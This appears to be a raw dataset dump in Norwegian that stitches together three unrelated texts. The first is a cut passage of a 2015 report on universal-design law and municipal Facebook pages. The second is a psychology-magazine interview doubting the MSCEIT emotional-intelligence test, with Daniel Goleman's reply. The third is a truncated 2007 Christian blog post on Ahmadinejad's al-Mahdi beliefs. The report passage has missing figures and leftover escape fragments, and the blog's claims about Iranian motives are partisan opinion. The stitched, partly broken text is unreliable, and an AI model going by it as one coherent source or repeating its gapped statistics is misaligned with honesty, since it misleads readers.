Government Social Media Usage - Paul T. Jaeger, John Carlo Bertot, Katie Shilton (2012) Communities of participation: A comparison of disability and aging identified groups on Facebook and LinkedIn - Paul M.A. Baker, John C. Bricout, Nathan W. Moon, Barry Coughlan, Jessica Pater (2013) Annen forskning og utredning av myndigheters bruk av sosiale medier, holdt opp mot universell utforming Vi har ikke lykkes med \u00e5 finne forskning og utredningsarbeider som tar for seg myndigheters bruk av sosiale medier, holdt opp mot lovverk for universell utforming. Vi har s\u00f8kt via Universitet i Agders base der vi ikke har funnet denne type forskning. Vi har imidlertid funnet forskning der det gjennomg\u00e5ende pekes p\u00e5 behov for \u00e5 forske mer p\u00e5 dette temaet. Vi har s\u00f8kt med f\u00f8lgende fraser; universal design, social media og egovernment. Merk at dette s\u00f8ket ikke har v\u00e6rt en prioritert del av denne utredningen. Det vi fant er interessant og kan dermed fungere som inngang for andre som vil forske innen temaet: The Cloverleaves of Social Media Challenges for e- Governments - Riitta Hellmann (2011) Information Policy and Social Media: Framing Government Citizen Web 2.0 Interactions - Paul T. Jaeger, John Carlo Bertot and Katie Shilton (2012) I all offentlighet 2015: Hovedrapport for utredningen Sosiale kommuner og universell utforming. Versjon: 4. februar\n\n TNS Gallup: Interbuss Q3 2014 ( TNS) Access Perspectives and Design Values in Government Social Media Usage - Paul T.\")\n\n\n\n15 Representativitet p\u00e5 gruppeniv\u00e5 Form\u00e5let med denne utredningen er \u00e5 avklare om kravene for universell utforming av IKT gjelder for Kommune-Norges omfattende bruk av sosiale medier. Kommune-Norge er dermed populasjonen vi sier noe om og vi forholder oss kun til gruppeniv\u00e5 best\u00e5ende av landets 446 kommuner og fylkeskommuner sett som helhet. Denne utredningen har dermed ingen interesse av \u00e5 vurdere kommuner og fylkeskommuner, enkeltvis. Av landets 446 kommuner og fylkeskommuner forholder vi oss til Kommune-Norges 330 helhetlige offisielle facebooksider, kartlagt av I all offentlighet per 24. juni Vi analyserte et utvalg som best\u00e5r av 1255 facebookmeldinger. Disse facebookmeldingene er blitt publisert p\u00e5 274 av Kommune- Norges helhetlige offisielle facebooksider. Vi forholder oss dermed til f\u00f8lgende tre grupperinger: Kommune-Norge best\u00e5r av 446 kommuner og fylkeskommuner Kommune-Norge har 330 kommuner og fylkeskommuner med helhetlige offisielle facebooksider De 1255 facebookmeldingene vi analyserer er publisert p\u00e5 274 av Kommune-Norges 330 helhetlige offisielle facebooksider Allerede her ser vi at v\u00e5rt utvalg er tilfredsstillende representativt, holdt opp mot utredningens form\u00e5l. For \u00e5 utdype dette n\u00e6rmere valgte vi ogs\u00e5 \u00e5 se disse tre grupperingene opp mot Statistisk sentralbyr\u00e5s (SSB) gruppering av kommunest\u00f8rrelser og fylkeskommuner. Ogs\u00e5 denne fordelingen gj\u00f8r oss trygg p\u00e5 at v\u00e5rt utvalg er representativt med tanke p\u00e5 \u00e5 kunne beskrive Kommune-Norges bruk av helhetlige offisielle facebooksider, sett som helhet p\u00e5 gruppeniv\u00e5. Se figur 1 p\u00e5 side 30 V\u00e5re 1255 analyserte facebookmeldinger er hentet ut fra en syv ukers periode og vi analyserer meldinger fra 14 dager av denne syv ukers perioden og m\u00e5let har v\u00e6rt \u00e5 analysere meldinger som er publisert p\u00e5 hver ukedag og gjennom hele d\u00f8gnet. F\u00f8rste analyserte dag ble valgt av praktiske grunner, enkelt og greit fordi det passet \u00e5 starte analysearbeidet denne dagen. De p\u00e5f\u00f8lgende dagene ble valgt etter et system som hadde til hensikt \u00e5 dekke 2 ganger hver ukedag, over en syv ukers periode. Der det var n\u00f8dvendig \u00e5 gj\u00f8re enkle valg (som for eksempel \u00e5 starte med f\u00f8rste eller siste av d\u00f8gnets facebookmeldinger) ble det benyttet en enkel, men holdbar terningkast-teknikk for \u00e5 avgj\u00f8re rekkef\u00f8lge. Se tabell 3 p\u00e5 side 39 V\u00e5r kvantitative analyse forteller oss at Kommune-Norge publiserte dr\u00f8yt facebookmeldinger p\u00e5 sine helhetlige facebooksider, i I l\u00f8pet av de syv analyserte ukene ble det publisert dr\u00f8yt meldinger p\u00e5 sidene. De utvalgte ukene strekker seg fra mandag 21. juli til s\u00f8ndag 19. oktober. Dermed forholder vi oss til at de publiserte facebookmeldingene, som ble publisert i l\u00f8pet av de syv analyserte ukene, utgj\u00f8r 12 prosent av facebookmeldingene Kommune-Norge publiserte i Vi ser ogs\u00e5 at v\u00e5re 1255 analyserte meldinger utgj\u00f8r rundt regnet 11 prosent av de meldingene som ble publisert i l\u00f8pet av de syv analyserte ukene. I all offentlighet 2015: Hovedrapport for utredningen Sosiale kommuner og universell utforming. Versjon: 4. februar\n\n\n\n17 Lovens krav til universell utforming oppsummering og hovedkonklusjon En juridisk utredning om de rettslige kravene til universell utforming av IKT-l\u00f8sninger og konsekvensene for Kommune-Norges bruk av sosiale medier finnes som vedlegg 2 til denne hovedrapporten (se side 41). Her oppsummerer vi hovedpoengene fra utredningen. Vi presenterer og hovedkonklusjonen om kommunenes og fylkeskommunenes helhetlige offisielle facebooksider: Kravene til universell utforming st\u00e5r i diskrimineringsloven og forskrift om universell utforming av informasjons- og kommunikasjonsteknologiske (IKT)-l\u00f8sninger. Disse reglene gjennomf\u00f8rer dessuten Norges internasjonale forpliktelser p\u00e5 feltet, der FN-konvensjonen om rettighetene til mennesker med nedsatt funksjonsevne, er sentral. Bruk av bestemte plattformer p\u00e5 Internett til \u00e5 tilby tjenester til og eller kommunisere med publikum, regnes som bruk av IKTl\u00f8sninger etter denne lovgivningen. Kommunenes og fylkeskommunenes bruk av Facebook som plattform regnes derfor klart som en IKT-l\u00f8sning etter loven. En IKT-l\u00f8sning i dette tilfellet facebooksidene til kommunen/fylkeskommunen m\u00e5 tilfredsstille kravene til universell utforming, dersom f\u00f8lgende tre vilk\u00e5r er oppfylt: Bruken retter seg mot allmennheten Bruken underbygger virksomhetens funksjon Bruken er en del av virksomhetens hovedl\u00f8sning Det er ingen tvil om at Kommune-Norges helhetlige offisielle facebooksider retter seg mot allmennheten. Den empiriske unders\u00f8kelsen v\u00e5r dokumenterer at det heller ikke er tvil om at disse facebooksidene brukes til \u00e5 underbygge kommunenes/fylkeskommunenes funksjon. Alle de tre meldingskategoriene vi opererer med, underbygger kommunenes/fylkeskommunenes funksjon. Her kan det vises til kommuneloven 4 som p\u00e5legger kommuner og fylkeskommuner \u00e5 drive aktiv informasjon om sin virksomhet samt \u00e5 legge forholdene \u00abbest mulig til rette for offentlig innsyn i den kommunale og fylkeskommunale forvaltning\u00bb. Det kan i den sammenheng ogs\u00e5 vises til Grunnloven 100 om ytringsfrihet som p\u00e5 mer overordnet plan p\u00e5legger myndighetene \u00e5 legge forholdene til rette for en \u00e5pen og opplyst offentlig samtale. Om bruken av de helhetlige offisielle facebooksidene kan anses som kommunenes/fylkeskommunenes hovedl\u00f8sning, beror i henhold til lovgivningen p\u00e5 en konkret vurdering av hvor mye av deres funksjon (informasjon til og dialog med allmennheten) som foreg\u00e5r via facebooksidene, samt av blant annet hvor mange som bruker l\u00f8sningen. Den aktiviteten som v\u00e5r empiriske unders\u00f8kelse har avdekket, levner liten tvil om at det for Kommune-Norges del er snakk om bruk som gj\u00f8r at facebooksidene er hovedl\u00f8sninger. Lovgivningen \u00e5pner for at b\u00e5de de alminnelige nettsidene og facebooksidene kan utgj\u00f8re hovedl\u00f8sninger hver for seg. Om den informasjonsutvekslingen og aktiviteten som tilbys/foreg\u00e5r p\u00e5 henholdsvis Facebook og de alminnelige nettsidene fremst\u00e5r som likeverdig (n\u00e6r identisk) for publikum, kan det holde at den ene l\u00f8sningen er universelt utformet. Dersom de ikke gj\u00f8r det, m\u00e5 begge l\u00f8sningene tilfredsstille kravene til universell utforming. V\u00e5r empiriske unders\u00f8kelse har avdekket en aktivitet p\u00e5 Kommune- Norges helhetlige offisielle facebooksider som tilbyr publikum en helt annen informasjonsutveksling og dialog, b\u00e5de i omfang og I all offentlighet 2015: Hovedrapport for utredningen Sosiale kommuner og universell utforming. Versjon: 4. februar\n\n-l\u00f8sninger.\")\n\n18 innhold, enn hva som er tilfelle p\u00e5 de alminnelige nettsidene til de samme kommunene og fylkeskommunene. N\u00e5r dette i liten eller ingen grad gjenspeiles eller kan gjenspeiles p\u00e5 de alminnelige nettsidene, er v\u00e5r vurdering at de helhetlige offisielle facebooksidene etter gjeldende lovgivning m\u00e5 tilfredsstille kravene til universell utforming. Dette skaper et praktisk problem, i og med at Facebook er en plattform som styres av en utenlandsk, kommersiell tredjepart; Facebook Inc. Per i dag er det ikke mulig for den enkelte kommune eller fylkeskommune selv \u00e5 modifisere funksjonaliteten eller grensesnittet slik at det tilfredsstiller kravene til universell utforming. Kommune-Norges omfattende bruk av helhetlige offisielle facebooksider utfordrer derfor diskrimineringslovens krav om universell utforming. V\u00e5r juridiske hovedkonklusjon Kommune-Norges helhetlige offisielle facebooksider er IKTl\u00f8sninger som er underlagt krav til universell utforming. De oppfyller ikke disse kravene, og vil heller ikke kunne oppfylle kravene uten at Facebook selv enten selv s\u00f8rger for universell utforming eller tilrettelegger for at kommunene og fylkeskommunene kan modifisere sine egne facebooksider slik at de blir universelt utformet. Dagens hjemmel for dispensasjon i forskriften 10, gir neppe Difi adgang til \u00e5 innvilge dispensasjon p\u00e5 ubestemt tid. For at det skal kunne innvilges dispensasjon med hensyn til Kommune-Norges helhetlige offisielle facebooksider, m\u00e5 det antagelig i det minste kreves at kommunene/fylkeskommunene kan fremlegge en realistisk strategi for hvordan man kan f\u00e5 Facebook Inc til \u00e5 tilrettelegge for universell utforming. I all offentlighet 2015: Hovedrapport for utredningen Sosiale kommuner og universell utforming. Versjon: 4. februar\n\n\n\n19 Sosiale medier i Kommune-Norge I dette kapittelet ser vi hvordan innbyggerne bruker sosiale medier, hvordan Kommune-Norge bruker sosiale medier og hvilken tankegang og erfaring vi ser ligger bak Kommune-Norges bruk av sosiale medier. Innbyggernes bruk av sosiale medier Norges befolkning har uten tvil tatt i bruk sosiale medier. Ved \u00e5 se p\u00e5 TNS Gallups unders\u00f8kelse Interbuss, ( TNS) om befolkningens bruk av sosiale medier 21, ser vi at Facebook uten sammenligning er det mest brukte sosiale mediet. 95 prosent av befolkningen over 15 \u00e5r, med tilgang til internett, bruker Facebook en eller flere ganger ukentlig. Dersom vi ser p\u00e5 tallene for befolkningens daglige bruk av de forskjellige sosiale mediene ser vi at f\u00f8lgende fire skiller seg ut som topp-fire: Facebook: 69 prosent, en eller flere ganger daglig Snapchat: 30 prosent, en eller flere ganger daglig YouTube: 27 prosent, en eller flere ganger daglig Instagram: 21 prosent, en eller flere ganger daglig Til sammenligning kan det nevnes at av 8 prosent av innbyggerne bruker Twitter, en eller flere ganger daglig. Dette rangerer Twitter p\u00e5 en femteplass, etterfulgt av Google+, LinkedIn og Pinterest, p\u00e5 henholdsvis sjette-, syvende- og \u00e5ttendeplass. Her er det naturligvis viktig \u00e5 merke seg at de nevnte sosiale mediene skiller seg fra hverandre ved at de tilbyr forskjellige funksjoner og bruksomr\u00e5der. Facebook er ogs\u00e5 i denne 21 TNS Gallup Interbuss Q ( TNS) ble gjennomf\u00f8rt primo november InterBuss som er en kvartalsvis m\u00e5ling av bruk av Internett og teknologi blant norske privathusholdninger og privatpersoner, viser i hvilket omfang den norske befolkningen over 15 \u00e5r, med tilgang til internett, bruker sosiale medier. sammenheng det sosiale mediet som tilbyr flest funksjonaliteter og bruksomr\u00e5der. TNS-Gallups statistikk ( TNS) viser at det ikke er noen som helst tvil om at Facebook er Norges desidert mest brukte sosiale mediet. Ogs\u00e5 i gruppen \u00e5r holder bruken seg h\u00f8y. Men for f\u00f8rste gang ser vi at et annet sosialt medium kommer i n\u00e6rheten av ukestallene til Facebook, i den yngste gruppa. Snapchat brukes av hele 87 prosent ukentlig i denne gruppa, mens Facebook ligger p\u00e5 95 prosent. P\u00e5 tross av Snapchats vekst, ser det likevel ikke ut til at de unge forlater Facebook n\u00e5r vi ser p\u00e5 ukestallene. Mest sannsynlig fyller de to mediene forskjellige behov, slik at de ikke n\u00f8dvendigvis utgj\u00f8r noen stor trussel for hverandre 22. Facebooks sv\u00e6rt omfattende gjennomslag i Norge understrekes ogs\u00e5 av at de i slutten av 2013 er ble k\u00e5ret til landets st\u00f8rste mediekanal (63 prosent daglig dekning i befolkningen) 23, etterfulgt av NRK1 (62 prosent), TV2 (55 prosent), og VG-Nett (46 prosent) og NRK P1 (37 prosent). Kommune-Norges bruk av sosiale medier Det er i all hovedsak KS og I all offentlighet som, gjennom flere \u00e5r, har utredet Kommune-Norges bruk av sosiale medier. Samlet gir dette arbeidet et godt bilde av Kommune-Norges bruk, erfaring samt av tankegangen som ligger i bunn. I den f\u00f8lgende gjennomgangen viser vi til KS og I all offentlighets hovedutredninger. - Sosiale kommuner omfattende, men fragmentert I all offentlighets og Distriktssenterets utredning, Sosiale kommuner omfattende, men fragmentert kartlegges det omfattende bruk og rask vekst i Kommune-Norges bruk av sosiale medier. 22 TNS Gallup Interbuss Q ( TNS) 23 Artikkelen Facebook st\u00f8rst i Norge, i fagbladet Kampanje, 7. April I all offentlighet 2015: Hovedrapport for utredningen Sosiale kommuner og universell utforming. Versjon: 4. februar\n\n\n\n", "language": "no", "__index_level_0__": "2fffb860-eb7b-4fc1-af61-406fb43541ac"}
{"url": "http://www.psykologtidsskriftet.no/index.php?seks_id=458857&a=2", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:20:47Z", "text": "# Tviler p\u00e5 emosjonell intelligens\n\nTEKST \u00d8ystein Helmikst\u00f8l\n\nHallvard F\u00f8llesdal er overbevist: EQ-forskere dysser ned viktig informasjon.\n\n\n\n\u2013 Du har v\u00e6rt et \u00e5r p\u00e5 Yale University i USA i laboratoriet til Peter Salovey, psykologen bak en av de mest kjente EQ-testene. Hva fant du ut?\n\n\u2013 Jeg fant ut at sk\u00e5rene fra enkelte sp\u00f8rsm\u00e5l i MSCEIT (Mayer-Salovey-Caruso Emotional Intelligence Test, red.anm.) blir utelatt n\u00e5r testen blir sk\u00e5ret. Da jeg spurte om \u00e5rsaken, var svaret at statistiske analyser hadde vist at de b\u00f8r utelates. Da er det rart at sp\u00f8rsm\u00e5lene er med i det hele tatt. Jeg brukte mye tid p\u00e5 \u00e5 analysere og forst\u00e5 hvorfor sp\u00f8rsm\u00e5lene ikke fungerer. De ser ut til \u00e5 v\u00e6re like relevante som alle de andre sp\u00f8rsm\u00e5lene i testen. For en av de fire skalaene klarte jeg \u00e5 finne ut hva som var galt.\n\n\u2013 Hva var galt?\n\n\u2013 I skalaen persepsjon av emosjoner fant jeg at man fjerner sk\u00e5rene fra de f\u00e5 sp\u00f8rsm\u00e5lene som tilsynelatende m\u00e5ler det man \u00f8nsker \u00e5 m\u00e5le, det vil si evne til \u00e5 oppfatte f\u00f8lelser som blir uttrykt i ansikter. Man sitter da igjen med sk\u00e5rer som m\u00e5ler evne til \u00e5 oppfatte f\u00f8lelser som ikke er uttrykt i ansikter, alts\u00e5 det motsatte av hva man \u00f8nsker \u00e5 m\u00e5le. Forlaget utelater ogs\u00e5 sk\u00e5rer fra andre skalaer basert p\u00e5 tilsvarende statistiske analyser. Dette er tegn p\u00e5 at noe er galt. Men man b\u00f8r skj\u00f8nne hva som er galt, f\u00f8r man utelater sk\u00e5rene fra testen. Det at en rekke sk\u00e5rer blir utelatt, er informasjon som blir dysset ned. Du m\u00e5 lese litteraturen ganske grundig f\u00f8r du blir oppmerksom p\u00e5 det. N\u00e5r jeg treffer forskere p\u00e5 konferanser i utlandet, er de ikke klar over dette. \u00c5penhet om det ville jo ha svekket testens troverdighet.\n\n\u2013 Er dette juks?\n\n\u2013 Det er sv\u00e6rt uheldig n\u00e5r forskerne ikke er \u00e5pne om at sk\u00e5rene fra en del av sp\u00f8rsm\u00e5lene i testen blir utelatt f\u00f8r resultatene beregnes. Det gj\u00f8r det vanskelig for andre forskere \u00e5 vurdere kvaliteten av testen. Og brukeren legger selvsagt ikke merke til dette.\n\n\u2013 Har du snakket med Peter Salovey selv om det?\n\n\u2013 Jeg har sendt ham kopi av artikler jeg har skrevet, men jeg har ikke diskutert resultatene mine inng\u00e5ende med ham, nei. Han er klar over funnene og at testen ikke er optimal.\n\n\u2013 Hva er problemet med MSCEIT?\n\n\u2013 B\u00e5de reliabilitet og validitet. Mange av skalaene gir ikke reliable sk\u00e5rer, de er ikke p\u00e5litelige nok. Og i publiserte artikler brukes en metode som kalles parsellering, som gj\u00f8r at de psykometriske kvalitetene ser flotte ut selv n\u00e5r de underliggende sk\u00e5rene ikke henger p\u00e5 greip. Og s\u00e5 kan man sp\u00f8rre om den fanger opp hva som faktisk er emosjonell intelligens. Det er ikke bare jeg som lurer p\u00e5 det, det er et helt forskningsfelt som n\u00e5 er kritisk til om man kan m\u00e5le emosjonell intelligens. Teorien om emosjonell intelligens er jo laget av Peter Salovey og John Mayer, og testen er den viktigste evidensen for teorien. Noen sier at testen er gullstandarden for \u00e5 m\u00e5le emosjonell intelligens. N\u00e5r testen ikke fungerer, kan man sp\u00f8rre hva som er det empiriske belegget for teorien. Da er dette alvorlig. Testen ser flott ut, men de som vil granske den n\u00e6rmere, vil finne mye grums.\n\n\u2013 Emosjonell intelligens er avgj\u00f8rende hos ledere, har jeg h\u00f8rt. Tidligere politileder, n\u00e5 forfatter Hanne Kristin Rohde holder foredrag om det.\n\n\u2013 Jeg kan forst\u00e5 at hun sier det hun sier. Hvis vi leser litteratur om emosjonell intelligens, er det mange som sier at emosjonell intelligens er viktig i ledelse. Men hva mener Rohde med emosjonell intelligens? Det forskerne er uenige om, er om emosjonell intelligens er en type intelligens som er noe annet enn generell intelligens og personlighet.\n\n\u2013 Hvordan kan det ha seg at emosjonell intelligens-begrepet har blitt s\u00e5 popul\u00e6rt, til tross for svak forskning?\n\n\u2013 Daniel Goleman, med doktorgrad i psykologi, har skrevet en av de mest solgte b\u00f8kene om dette. Han sier at for \u00e5 lykkes i arbeidslivet er emosjonell intelligens fire ganger s\u00e5 viktig som intelligens. Da f\u00e5r jo mange lyst til \u00e5 finne ut mer om hva det er, og pr\u00f8ve \u00e5 m\u00e5le det. Han skriver om EI som om det er noe helt nytt, men det han sikter til, er gjerne egenskaper vi har visst om i mange ti\u00e5r.\n\n\u2013 Hvorfor trenger vi ikke begrepet emosjonell intelligens?\n\n\u2013 Hvis vi skal beholde begrepet, m\u00e5 vi uttrykke mye mer presist hva vi legger i det. Ulike forskere legger per i dag helt ulike ting i EI.\n\n\u2013 Hvis begrepet ikke beskriver hvordan vi forst\u00e5r, leser, h\u00e5ndterer eller mestrer f\u00f8lelser \u2013 hvilke begreper skal vi bruke i stedet?\n\n\u2013 De begrepene du brukte der, kanskje?\n\n\u2013 Hvordan har din forskning, som stiller sp\u00f8rsm\u00e5l ved om emosjonell intelligens finnes, blitt mottatt?\n\n\u2013 Noen forskere har antydet at resultatene skyldes kulturelle forskjeller, selv om jeg viser at det ikke er tilfellet. Andre har valgt ikke \u00e5 forholde seg til funnene. Internasjonal forskning peker etter hvert i samme retning, og mange forskere stiller n\u00e5 sp\u00f8rsm\u00e5l til testen, slik jeg har gjort. Men hvis du finner at emosjonell intelligens ikke har betydning, s\u00e5 er det ikke s\u00e5 lett \u00e5 f\u00e5 publisert det.\n\n\u2013 Er emosjonell intelligens f\u00f8rst og fremst et eksempel p\u00e5 en psykologisk industri og ikke psykologisk forskning?\n\n\u2013 Det er et diffust, men popul\u00e6rt begrep, og mange tjener gode penger p\u00e5 emosjonell intelligens. For eksempel ved \u00e5 lage tester som skal m\u00e5le det. Det er vel derfor det finnes s\u00e5 mange EI-tester. Men vi har jo i mange \u00e5r hatt en mengde gode tester som m\u00e5ler disse egenskapene, uten at det blir kalt emosjonell intelligens.\n\n\u2013 Det er for lite sex i spaltene v\u00e5re. Forskning viser if\u00f8lge VG Forbruker at kvinner som sk\u00e5rer h\u00f8yt p\u00e5 emosjonell intelligenstester, lettere f\u00e5r orgasme enn andre.\n\n\u2013 Hehe. Jeg er kritisk til konklusjonen. All forskning om emosjonell intelligens b\u00f8r man forholde seg kritisk til, og om denne studien b\u00f8r man sp\u00f8rre hva som legges i begrepet \u00abemosjonell intelligens\u00bb. Hva er det de har m\u00e5lt? S\u00e5 kan man unders\u00f8ke hvorfor denne sammenhengen er der. EQ er et ullent og upresist begrep. Noen mener at EQ-begrepet brukes om alle positive egenskaper som ikke er intelligens. Da kan det benyttes i nesten hvilken som helst sammenheng, ogs\u00e5 i forbindelse med orgasme hos kvinner. P\u00e5 EQ-feltet er det mye forskning som ikke er seri\u00f8s, godt utf\u00f8rt eller presis.\n\n## \u2013 Jeg er feilsitert\n\nTekst \u00d8ystein Helmikst\u00f8l\n\nDen amerikanske psykologen og forfatteren Daniel Goleman mener at den norske organisasjonspsykologen Hallvard F\u00f8llesdal siterer ham feil.\n\n## \u2013 Jeg er feilsitert\n\nDen amerikanske psykologen og forfatteren Daniel Goleman mener at den norske organisasjonspsykologen Hallvard F\u00f8llesdal siterer ham feil.\n\n\n\nGLAD FOR FORSKNING Psykolog Daniel Goleman er glad for at en bok om emosjonell intelligens har inspirert til forskning p\u00e5 temaet. Pressefoto: Golemans eget nettsted\n\n\u2013 JEG ER SITERT p\u00e5 \u00e5 ha p\u00e5st\u00e5tt at \u00abemosjonell intelligens er fire ganger s\u00e5 viktig som intelligens\u00bb, men det har jeg faktisk aldri sagt, og jeg tror heller ikke at det er sant.\n\nDet opplyser Daniel Goleman til Psykologtidsskriftet. Han har lest utdrag av N\u00c5-intervjuet med f\u00f8rsteamanuensis p\u00e5 Handelsh\u00f8yskolen BI Hallvard F\u00f8llesdal i denne utgaven (se sidene foran).\n\n\u2013 Som jeg har skrevet, for eksempel i forordet til 10-\u00e5rsjubileumsutgaven av *Emosjonell intelligens*, er IQ den beste prediktoren for hvilken jobb man kan ha, og dermed ogs\u00e5 hvor \u00f8konomisk vellykket man er, forklarer Goleman.\n\n### \u2013 Best prediktor\n\n\u2013 P\u00e5 den annen side er det slik at n\u00e5r folk med h\u00f8y IQ st\u00e5r likt og konkurrerer med hverandre, er emosjonell intelligens den beste prediktoren for hvem som vil oppn\u00e5 fremragende resultater eller st\u00e5 frem som ledere.\n\nDen amerikanske psykologen mener at hvis man ser p\u00e5 studier som organisasjonene selv har gjennomf\u00f8rt ved hjelp av kompetansemodellering, vil man se at de fleste evnene som skiller stjernene (topp ti) fra gjennomsnittet p\u00e5 de h\u00f8yeste lederniv\u00e5ene, er basert p\u00e5 emosjonell intelligens, ikke tekniske ferdigheter. Dette har vi if\u00f8lge Goleman intuitivt visst lenge f\u00f8r begrepet \u00abemosjonell intelligens\u00bb ble tatt i bruk.\n\n\u2013 Men n\u00e5 som vi har begrepet, gj\u00f8r det at vi kan utforme m\u00e5lemetoder som gj\u00f8r det mulig \u00e5 samle inn stadig bedre data, mener han.\n\nGoleman er glad for at boken *Emosjonell intelligens* har inspirert til forskning p\u00e5 temaet \u2013 det var et av m\u00e5lene hans da han skrev om det.\n\n\u2013 Mitt andre store m\u00e5l var \u00e5 skape interesse for evidensbaserte utdanningsprogrammer innenfor det som n\u00e5 kalles \u00absosial/emosjonell l\u00e6ring\u00bb, som er skoleprogrammer der barna l\u00e6rer grunnleggende ferdigheter i livet, som selvbevissthet, selvregulering, empati og samarbeid.\n\nBegge disse m\u00e5lene er if\u00f8lge Goleman n\u00e5dd \u2013 det finnes n\u00e5 hundrevis av forskningsartikler om emosjonell intelligens.\n\nGoleman er enig med Hallvard F\u00f8llesdal i at forskningen er av ujevn kvalitet.\n\n\u2013 Noen unders\u00f8kelser er befengt med feil, mens andre holder h\u00f8y standard.\n\n### \u2013 Definisjoner ikke i sentrum\n\nHanne Kristin Rohde sier at i hun i sine foredrag holder seg til Daniel Golemans definisjoner av emosjonell intelligens.\n\nHva mener Rohde med emosjonell intelligens? spurte Hallvard F\u00f8llesdal i intervjuet. Psykologtidsskriftet sendte sp\u00f8rsm\u00e5let videre til tidligere polititopp, n\u00e5 forfatter og foredragsholder Hanne Kristin Rohde.\n\nRohde svarer at hun i foredragene henviser til amerikanske forskere med Daniel Goleman i spissen, som i 2002 skal ha uttalt blant annet at emosjonell intelligens utgj\u00f8r hovedforklaringen p\u00e5 godt lederskap.\n\n\u2013 I enkelte foredrag viser jeg ogs\u00e5 til min bok *Kjemp for alt hva du har kj\u00e6rt*, der jeg viser til Goleman og sier litt mer om emosjonell intelligens.\n\nRohde sier at hun holder seg til Golemans definisjoner dersom noen \u00f8nsker litt kj\u00f8tt p\u00e5 beinet.\n\n\u2013 Men i mine foredrag er relasjoner avgj\u00f8rende, enten til andre mennesker eller til en selv. Da er ikke definisjoner i sentrum.\n\nRohde skriver i en e-post at hun aldri har holdt foredrag der emosjonell intelligens har v\u00e6rt vesentlig utredet.\n\nPsykologtidsskriftet har p\u00e5pekt overfor Rohde at i forh\u00e5ndsinformasjonen til et foredrag hun skal ha p\u00e5 en lederkonferanse senere i \u00e5r, er emosjonell intelligens framhevet som et hovedpunkt. Rohde har ikke kommentert dette overfor Psykologtidsskriftet.\n\n", "language": "no", "__index_level_0__": "ea3a8290-395d-4a3b-9785-4319f1f27ffc"}
{"url": "http://christianculture1.blogspot.com/2007/06/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:26:15Z", "text": "# Christianculture\n\n\"A society which has lost its religion becomes sooner or later a society which has lost its culture\" Christopher Dawson\n\n## Friday, June 29, 2007\n\n### Se TV programmet om Midt\u00f8stens \"Moder Theresa\"\\!\n\nI mai sendte TV2 programmet om Mamma Maggie, en koptisk kristen kvinne som har viet sitt liv til \u00e5 hjelpe barn i Kairos slum. Programmet gjorde et sterk intrykk, og blir n\u00e5 sendt i reprise s\u00f8ndag 1 Juli p\u00e5 TV2. Jeg anbefaler deg p\u00e5 det sterkeste \u00e5 se dette levende vitnesbyrdet p\u00e5 Jesu Kristi etterf\u00f8lgelse. Les om programmet her.\n\n## Friday, June 15, 2007\n\n### Christianculture anbefaler\\!\n\nJeg har flere ganger tatt opp problemet med forf\u00f8lgelse av kristne, noe som i stor grad blir oversett av vestlig media og politikere. Jeg anbefaler f\u00f8lgende artikkel p\u00e5 dokument.no som setter s\u00f8kelys p\u00e5 dette:  \n  \nVesten svikter de kristne som forf\u00f8lges\n\n## Tuesday, June 12, 2007\n\n### Irans president, atomv\u00e5pen og al-Madhi.\n\nWalid al-Kubaisi hadde nylig en kronikk i Aftenposten der ham tar for seg hva han mener er Irans motiver for \u00e5 f\u00e5 tak i atomv\u00e5pen. Hans artikkel er interessant p\u00e5 flere niv\u00e5er. Ikke minst fra et kristent st\u00e5sted. Al-Kubaisi hevder nemlig at den iranske presidenten Ahmadinejad ikke \u00f8nsker seg atomv\u00e5pen for \u00e5 skape maktbalanse i midt\u00f8sten, men at han er motivert av sin tro. Dette skrev jeg om allerede for 1 \u00e5r siden i denne bloggartikklen . Det som dog er interessant i al-Kubaisis kronikk er hans utdypning av Ahmadinejads tro p\u00e5 en skikkelse som heter al-Madhi og som i henhold til Ahmadinejads tro skal dukke opp i endens tid. Al-Kubaisi sier bl. annet:  \n  \n*\"Al-Mahdi er hoveds\u00f8ylen i sjiatroen. Han er den 12. imam, som forsvant i \u00e5r 941 e.Kr. da han var fem \u00e5r gammel. Han ble usynlig, men n\u00e6rv\u00e6rende blant jordens befolkning. Han vil dukke opp i de siste dager for \u00e5 f\u00f8re krig mot dem som ikke aksepterer islam som religion.  \nHan beseirer dem i en verdenskrig, og oppretter det islamistiske imperium som er rettferdig; for al-Mahdi vil styre menneskeheten med sharialoven. Han vil spille samme funksjon som Kristi gjenkomst i \u00c5penbaringen. \"*  \n**  \nVidere peker han p\u00e5 at Ahmadinejad har uttalt f\u00f8lgende:  \n  \n*Han uttalte at \"hovedoppgaven for den iranske revolusjon er \u00e5 bane veien til al-Mahdis gjenkomst. Derfor m\u00e5 Iran bli et sterkt og utviklet islamistisk samfunn, for da kan Iran bli et eksempel for andre folkeslag og blir verdig \u00e5 v\u00e6re en arena for Tidens imam, al-Mahdi\".*  \n*  \nHan sa en annen gang: \"Vi er ansvarlige for \u00e5 opprette et eksemplarisk islamistisk samfunn som leder til denne store hendelsen og et utgangspunkt til \u00e5 opprette den internasjonale islamistiske rettferdighetsregjering\". Denne regjering skulle imamen opprette i de siste dager som et imperium som omfatter hele jordkloden.  \n  \nDerfor sa han 5. juni i fjor til en forsamling av religionsstudenter i byen Qom: \"Vi m\u00e5 forberede oss til \u00e5 styre hele verden. Den eneste m\u00e5te er \u00e5 sette v\u00e5re forestillinger p\u00e5 basis av Al-Mahdis gjenkomst.\"*  \n\nAl-Kubaisi sier videre:\n\n*Den skolen Ahmadinejad h\u00f8rer til, \"al-Hudjatiya\", tror at \"al-Mahdis gjenkomst kan forkynnes med \u00e5 skape kaos, kriger, blodsutgytelse og konflikter rundt i verden. Da blir omstendighetene modne og tegnene p\u00e5 hans gjenkomst blir oppfylt.\"*\n\nMidt opp i alt dette er ogs\u00e5 \u00f8nsket om \u00e5 fjerne Israel fra kartet:\n\n*\"If\u00f8lge profetiene lander al-Mahdi i Jerusalem, p\u00e5 klagemuren, og muslimene vil ta imot ham. Israel vil tilintetgj\u00f8res f\u00f8r hans gjenkomst fordi han kan ikke lande i Jerusalem n\u00e5, for israelske soldater vil drepe ham \"slik de drepte alle profeter og sendebud tidligere.\" Derfor m\u00e5 omstendighetene bli modne, dvs. Israel bli borte.  \nDerfor har Ahmadinejad hentydet klart hvordan og hvorfor han kommer til \u00e5 bruke atomv\u00e5penet: I april i fjor sa 